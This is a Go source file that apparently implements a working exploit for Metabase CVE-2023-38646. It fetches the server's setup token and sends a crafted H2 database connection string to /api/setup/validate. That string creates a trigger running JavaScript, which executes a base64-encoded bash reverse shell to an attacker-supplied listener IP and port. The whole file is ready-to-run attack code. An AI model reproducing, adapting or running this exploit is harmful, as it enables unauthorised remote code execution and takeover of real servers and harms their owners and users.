CVE-2023-38646-Reverse-Shell.go

package main

import (
	"bytes"
	"encoding/base64"
	"encoding/json"
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
)

type MetabaseClient struct {
	BaseURL    string
	HTTPClient *http.Client
}

func NewMetabaseClient(baseURL string) *MetabaseClient {
	return &MetabaseClient{
		BaseURL:    baseURL,
		HTTPClient: &http.Client{},
	}
}

func (c *MetabaseClient) GetSetupTokenAndVersion() (string, error) {
	endpoint := "/api/session/properties"
	url := c.BaseURL + endpoint

	fmt.Printf("[DEBUG] Fetching setup token from %s...\n", url)

	response, err := c.HTTPClient.Get(url)
	if err != nil {
		return "", err
	}
	defer response.Body.Close()

	if response.StatusCode == http.StatusOK {
		var data map[string]interface{}
		err := json.NewDecoder(response.Body).Decode(&data)
		if err != nil {
			return "", err
		}

		setupToken, _ := data["setup-token"].(string)
		metabaseVersion, _ := data["version"].(map[string]interface{})["tag"].(string)

		if setupToken == "" {
			fmt.Printf("[DEBUG] Setup token not found or is null for URL: %s\n\n", c.BaseURL)
		} else {
			fmt.Printf("[DEBUG] Setup Token: %s\n", setupToken)
			fmt.Printf("[DEBUG] Version: %s\n", metabaseVersion)
		}

		return setupToken, nil
	}

	return "", fmt.Errorf("Failed to fetch setup token from %s (status code: %d)\n", url, response.StatusCode)
}

func (c *MetabaseClient) PostSetupValidate(setupToken, listenerIP string, listenerPort int) error {
	payload := base64.StdEncoding.EncodeToString([]byte(fmt.Sprintf("bash -i >& /dev/tcp/%s/%d 0>&1", listenerIP, listenerPort)))

	fmt.Printf("[DEBUG] Payload = %s\n", payload)

	endpoint := "/api/setup/validate"
	url := c.BaseURL + endpoint

	headers := map[string]string{"Content-Type": "application/json"}

	data := map[string]interface{}{
		"token": setupToken,
		"details": map[string]interface{}{
			"is_on_demand":    false,
			"is_full_sync":    false,
			"is_sample":       false,
			"cache_ttl":       nil,
			"refingerprint":   false,
			"auto_run_queries": true,
			"schedules":       map[string]interface{}{},
			"details": map[string]interface{}{
				"db":               fmt.Sprintf("zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {{echo,%s}}}|{{base64,-d}}}|{{bash,-i}}')\n$$--=x", payload),
				"advanced-options": false,
				"ssl":              true,
			},
			"name":   "test",
			"engine": "h2",
		},
	}

	jsonData, err := json.Marshal(data)
	if err != nil {
		return err
	}

	fmt.Printf("[DEBUG] Sending request to %s with headers %+v and data:\n%s\n", url, headers, jsonData)

	response, err := c.HTTPClient.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return err
	}
	defer response.Body.Close()

	responseBody, _ := ioutil.ReadAll(response.Body)
	fmt.Printf("[DEBUG] Response received: %s\n", string(responseBody))

	if response.StatusCode == http.StatusOK {
		fmt.Printf("[DEBUG] POST to %s successful.\n", url)
	} else {
		fmt.Printf("[DEBUG] POST to %s failed with status code: %d\n", url, response.StatusCode)
	}

	return nil
}

func preprocessURL(userInput string) string {
	parsedURL, _ := url.Parse(userInput)
	protocol := ""
	if parsedURL.Scheme != "" {
		protocol = parsedURL.Scheme + "://"
	} else {
		protocol = "http://"
	}
	netloc := parsedURL.Host
	return protocol + netloc
}

func main() {
	rhost := flag.String("rhost", "", "Metabase server URL (including http:// or https://)")
	lhost := flag.String("lhost", "", "Listener IP address")
	lport := flag.Int("lport", 4444, "Listener port (default is 4444)")
	flag.Parse()

	if *rhost == "" {
		fmt.Println("Please provide the Metabase server URL using --rhost option.")
		os.Exit(1)
	}

	fmt.Printf("[DEBUG] Original rhost: %s\n", *rhost)
	baseURL := preprocessURL(*rhost)
	fmt.Printf("[DEBUG] Preprocessed rhost: %s\n", baseURL)

	fmt.Printf("[DEBUG] Input Arguments - rhost: %s, lhost: %s, lport: %d\n", baseURL, *lhost, *lport)

	client := NewMetabaseClient(baseURL)

	setupToken, err := client.GetSetupTokenAndVersion()
	if err != nil {
		fmt.Printf("[DEBUG] Error while fetching setup token: %s\n", err)
		os.Exit(1)
	}

	fmt.Printf("[DEBUG] Setup token: %s\n", setupToken)
	if setupToken != "" {
		err := client.PostSetupValidate(setupToken, *lhost, *lport)
		if err != nil {
			fmt.Printf("[DEBUG] Error while posting setup validation: %s\n", err)
			os.Exit(1)
		}
	}
}